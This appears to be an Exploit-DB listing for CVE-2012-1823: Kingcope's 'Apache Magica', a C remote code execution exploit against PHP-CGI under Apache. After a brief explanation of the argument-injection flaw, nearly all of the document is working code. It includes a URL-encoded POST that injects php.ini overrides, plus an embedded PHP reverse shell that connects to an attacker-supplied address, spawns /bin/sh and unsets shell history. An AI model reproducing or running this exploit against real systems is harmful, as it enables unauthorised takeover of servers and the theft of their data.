Apache / PHP 5.x Remote Code Execution Exploit Oct 30, 2013 Apache / PHP 5.x Remote Code Execution Exploit EDB-ID: 29290 CVE: 2012-1823 OSVDB-ID: N/A Author: Kingcope Published: 2013-10-29 Verified: Exploit Code: Vulnerable App: N/A Rating Overall: (0.0) This is a code execution bug in the combination of Apache and PHP. > /* Apache Magica by Kingcope */ > /* gcc apache-magika.c -o apache-magika -lssl */ > /* This is a code execution bug in the combination of Apache and PHP. > On Debian and Ubuntu the vulnerability is present in the default install > of the php5-cgi package. When the php5-cgi package is installed on Debian and > Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under > /cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute > the binary because this binary has a security check enabled when installed with > Apache http server and this security check is circumvented by the exploit. > When accessing the php-cgi binary the security check will block the request and > will not execute the binary. > In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security > check is done when the php.ini configuration setting cgi.force_redirect is set > and the php.ini configuration setting cgi.redirect_status_env is set to no. > This makes it possible to execute the binary bypassing the Security check by > setting these two php.ini settings. > Prior to this code for the Security check getopt is called and it is possible > to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the > -d switch. If both values are set to zero and the request is sent to the server > php-cgi gets fully executed and we can use the payload in the POST data field > to execute arbitrary php and therefore we can execute programs on the system. > apache-magika.c is an exploit that does exactly the prior described. It does > support SSL. > /* Affected and tested versions > PHP 5.3.10 > PHP 5.3.8-1 > PHP 5.3.6-13 > PHP 5.3.3 > PHP 5.2.17 > PHP 5.2.11 > PHP 5.2.6-3 > PHP 5.2.6+lenny16 with Suhosin-Patch > Affected versions > PHP prior to 5.3.12 > PHP prior to 5.4.2 > Unaffected versions > PHP 4 - getopt parser unexploitable > PHP 5.3.12 and up > PHP 5.4.2 and up > Unaffected versions are patched by CVE-2012-1823. > */ > /* . > /'\rrq rk > . // \\ . > .x.//fco\\-|- > '//cmtco\\zt > //6meqrg.\\tq > //_________\\' > EJPGQO > apache-magica.c by Kingcope > */ > > #include <stdio.h> > #include <stdlib.h> > #include <unistd.h> > #include <getopt.h> > #include <sys/types.h> > #include <stddef.h> > #include <openssl/rand.h> > #include <openssl/ssl.h> > #include <openssl/err.h> > #include <netdb.h> > #include <sys/socket.h> > #include <netinet/in.h> > > typedef struct { > int sockfd; > SSL *handle; > SSL_CTX *ctx; > } connection; > > void usage(char *argv[]) > { > printf("usage: %s <--target target> <--port port> <--protocol http|https> " > "<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n", > argv[0]); > exit(1); > } > > char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" > "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" > "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" > "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" > "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" > "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" > "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" > "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" > "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" > "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" > "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" > "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" > "Host: %s\r\n" > "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" > "(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" > "Content-Type: application/x-www-form-urlencoded\r\n" > "Content-Length: %d\r\n" > "Connection: close\r\n\r\n%s"; > char phpstr[] = "<?php\n" > "set_time_limit(0);\n" > "$ip = '%s';\n" > "$port = %d;\n" > "$chunk_size = 1400;\n" > "$write_a = null;\n" > "$error_a = null;\n" > "$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n" > "$daemon = 0;\n" > "$debug = 0;\n" > "if (function_exists('pcntl_fork')) {\n" > " $pid = pcntl_fork(); \n" > " if ($pid == -1) {\n" > " printit(\"ERROR: Can't fork\");\n" > " exit(1);\n" > " }\n" > " if ($pid) {\n" > " exit(0);\n" > " }\n" > " if (posix_setsid() == -1) {\n" > " printit(\"Error: Can't setsid()\");\n" > " exit(1);\n" > " }\n" > " $daemon = 1;\n" > "} else {\n" > " printit(\"WARNING: Failed to daemonise.\");\n" > "}\n" > "chdir(\"/\");\n" > "umask(0);\n" > "$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n" > "if (!$sock) {\n" > " printit(\"$errstr ($errno)\");\n" > " exit(1);\n" > "}\n" > "$descriptorspec = array(\n" > " 0 => array(\"pipe\", \"r\"),\n" > " 1 => array(\"pipe\", \"w\"),\n" > " 2 => array(\"pipe\", \"w\")\n" > ");\n" > "$process = proc_open($shell, $descriptorspec, $pipes);\n" > "if (!is_resource($process)) {\n" > " printit(\"ERROR: Can't spawn shell\");\n" > " exit(1);\n" > "}\n" > "stream_set_blocking($pipes[0], 0);\n" > "stream_set_blocking($pipes[1], 0);\n" > "stream_set_blocking($pipes[2], 0);\n" > "stream_set_blocking($sock, 0);\n" > "while (1) {\n" > " if (feof($sock)) {\n" > " printit(\"ERROR: Shell connection terminated\");\n" > " break;\n" > " }\n" > " if (feof($pipes[1])) {\n" > " printit(\"ERROR: Shell process terminated\");\n" > " break;\n" > " }\n" > " $read_a = array($sock, $pipes[1], $pipes[2]);\n" > " $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n" > " if (in_array($sock, $read_a)) {\n" > " if ($debug) printit(\"SOCK READ\");\n" > " $input = fread($sock, $chunk_size);\n" > " if ($debug) printit(\"SOCK: $input\");\n" > " fwrite($pipes[0], $input);\n" > " }\n" > " if (in_array($pipes[1], $read_a)) {\n" > " if ($debug) printit(\"STDOUT READ\");\n" > " $input = fread($pipes[1], $chunk_size);\n" > " if ($debug) printit(\"STDOUT: $input\");\n" > " fwrite($sock, $input);\n" > " }\n" > " if (in_array($pipes[2], $read_a)) {\n" > " if ($debug) printit(\"STDERR READ\");\n" > " $input = fread($pipes[2], $chunk_size);\n" > " if ($debug) printit(\"STDERR: $input\");\n" > " fwrite($sock, $input);\n" > " }\n" > "}\n" > "\n" > "fclose($sock);\n" > "fclose($pipes[0]);\n" > "fclose($pipes[1]);\n" > "fclose($pipes[2]);\n" > "proc_close($process);\n" > "function printit ($string) {\n" > " if (!$daemon) {\n" > " print \"$string\n\";\n" > " }\n" > "}\n" > "exit(1);\n" > "?>"; > > struct sockaddr_in *gethostbyname_(char *hostname, unsigned short port) > { > struct hostent *he; > struct sockaddr_in server, *servercopy; > > if ((he=gethostbyname(hostname)) == NULL) { > printf("Hostname cannot be resolved\n"); > exit(255); > } > > servercopy = malloc(sizeof(struct sockaddr_in)); > if (!servercopy) { > printf("malloc error (1)\n"); > exit(255); > } > memset(&server, '\0', sizeof(struct sockaddr_in)); > memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length); > server.sin_family = AF_INET; > server.sin_port = htons(port); > memcpy(servercopy, &server, sizeof(struct sockaddr_in)); > return servercopy; > } > > char *sslread(connection *c) > { > char *rc = NULL; > int received, count = 0, count2=0; > char ch; > > for(;;) > { > if (!rc) > rc = calloc(1024, sizeof (char) + 1); > else > if (count2 % 1024 == 0) { > rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1); > } > received = SSL_read(c->handle, &ch, 1); > if (received == 1) { > rc[count++] = ch; > count2++; > if (count2 > 1024*5) > break; > } > else > break; > } > return rc; > } > > char *read_(int sockfd) > { > char *rc = NULL; > int received, count = 0, count2=0; > char ch; > > for(;;) > { > if (!rc) > rc = calloc(1024, sizeof (char) + 1); > else > if (count2 % 1024 == 0) { > rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1); > } > received = read(sockfd, &ch, 1); > if (received == 1) { > rc[count++] = ch; > count2++; > if (count2 > 1024*5) > break; > } > else > break; > } > return rc; > } > > void main(int argc, char *argv[]) > { > char *target, *protocol, *targetip, *writestr, *tmpstr, *readbuf=NULL, > *interpreter, *reverseip, *reverseportstr, *forceinterpreter=NULL; > char httpsflag=0; > unsigned short port=0, reverseport=0; > struct sockaddr_in *server; > int sockfd; > unsigned int writesize, tmpsize; > unsigned int i; > connection *sslconnection; > printf("-== Apache Magika by Kingcope ==-\n"); > for(;;) > { > int c; > int option_index=0; > static struct option long_options[] = { > {"target", required_argument, 0, 0 }, > {"port", required_argument, 0, 0 }, > {"protocol", required_argument, 0, 0 }, > {"reverse-ip", required_argument, 0, 0 }, > {"reverse-port", required_argument, 0, 0 }, > {"force-interpreter", required_argument, 0, 0 }, > {0, 0, 0, 0 } > }; > > c = getopt_long(argc, argv, "", long_options, &option_index); > if (c < 0) > break; > > switch (c) { > case 0: > switch (option_index) { > case 0: > if (optarg) { > target = calloc(strlen(optarg)+1, sizeof(char)); > if (!target) { > printf("calloc error (2)\n"); > exit(255); > } > memcpy(target, optarg, strlen(optarg)+1); > } > break; > case 1: > if(optarg) > port = atoi(optarg); > break; > case 2: > protocol = calloc(strlen(optarg)+1, sizeof(char)); > if (!protocol) { > printf("calloc error (3)\n"); > exit(255); > } > memcpy(protocol, optarg, strlen(optarg)+1); > if (!strcmp(protocol, "https")) > httpsflag=1; > break; > case 3: > reverseip = calloc(strlen(optarg)+1, sizeof(char)); > if (!reverseip) { > printf("calloc error (4)\n"); > exit(255); > } > memcpy(reverseip, optarg, strlen(optarg)+1); > break; > case 4: > reverseport = atoi(optarg); > reverseportstr = calloc(strlen(optarg)+1, sizeof(char)); > if (!reverseportstr) { > printf("calloc error (5)\n"); > exit(255); > } > memcpy(reverseportstr, optarg, strlen(optarg)+1); > break; > case 5: > forceinterpreter = calloc(strlen(optarg)+1, sizeof(char)); > if (!forceinterpreter) { > printf("calloc error (6)\n"); > exit(255); > } > memcpy(forceinterpreter, optarg, strlen(optarg)+1); > break; > default: > usage(argv); > } > break; > > default: > usage(argv); > } > } > > if ((optind < argc) || !target || !protocol || !port || > !reverseip || !reverseport){ > usage(argv); > } > > server = gethostbyname_(target, port); > if (!server) { > printf("Error while resolving hostname. (7)\n"); > exit(255); > } > > char *interpreters[5]; > int ninterpreters = 5; > interpreters[0] = strdup("/cgi-bin/php"); > interpreters[1] = strdup("/cgi-bin/php5"); > interpreters[2] = strdup("/cgi-bin/php-cgi"); > interpreters[3] = strdup("/cgi-bin/php.cgi"); > interpreters[4] = strdup("/cgi-bin/php4"); > > for (i=0;i<ninterpreters;i++) { > interpreter = interpreters[i]; > if (forceinterpreter) { > interpreter = strdup(forceinterpreter); > } > if (forceinterpreter && i) > break; > printf("%s\n", interpreter); > > sockfd = socket(AF_INET, SOCK_STREAM, 0); > if (sockfd < 1) { > printf("socket error (8)\n"); > exit(255); > } > > if (connect(sockfd, (void*)server, sizeof(struct sockaddr_in)) < 0) { > printf("connect error (9)\n"); > exit(255); > } > if (httpsflag) { > sslconnection = (connection*) malloc(sizeof(connection)); > if (!sslconnection) { > printf("malloc error (10)\n"); > exit(255); > } > sslconnection->handle = NULL; > sslconnection->ctx = NULL; > > SSL_library_init(); > > sslconnection->ctx = SSL_CTX_new(SSLv23_client_method()); > if (!sslconnection->ctx) { > printf("SSL_CTX_new error (11)\n"); > exit(255); > } > > sslconnection->handle = SSL_new(sslconnection->ctx); > if (!sslconnection->handle) { > printf("SSL_new error (12)\n"); > exit(255); > } > if (!SSL_set_fd(sslconnection->handle, sockfd)) { > printf("SSL_set_fd error (13)\n"); > exit(255); > } > > if (SSL_connect(sslconnection->handle) != 1) { > printf("SSL_connect error (14)\n"); > exit(255); > } > } > > tmpsize = strlen(phpstr) + strlen(reverseip) + strlen(reverseportstr) + 64; > tmpstr = (char*)calloc(tmpsize, sizeof(char)); > snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport); > > writesize = strlen(target) + strlen(interpreter) + > strlen(poststr) + strlen(tmpstr) + 64; > writestr = (char*)calloc(writesize, sizeof(char)); > snprintf(writestr, writesize, poststr, interpreter, > target, strlen(tmpstr), tmpstr); > > if (!httpsflag) { > write(sockfd, writestr, strlen(writestr)); > readbuf = read_(sockfd); > } else { > SSL_write(sslconnection->handle, writestr, strlen(writestr)); > readbuf = sslread(sslconnection); > } > > if (readbuf) { > printf("***SERVER RESPONSE***\n\n%s\n\n", readbuf); > } else { > printf("read error (15)\n"); > exit(255); > } > } > exit(1); > } >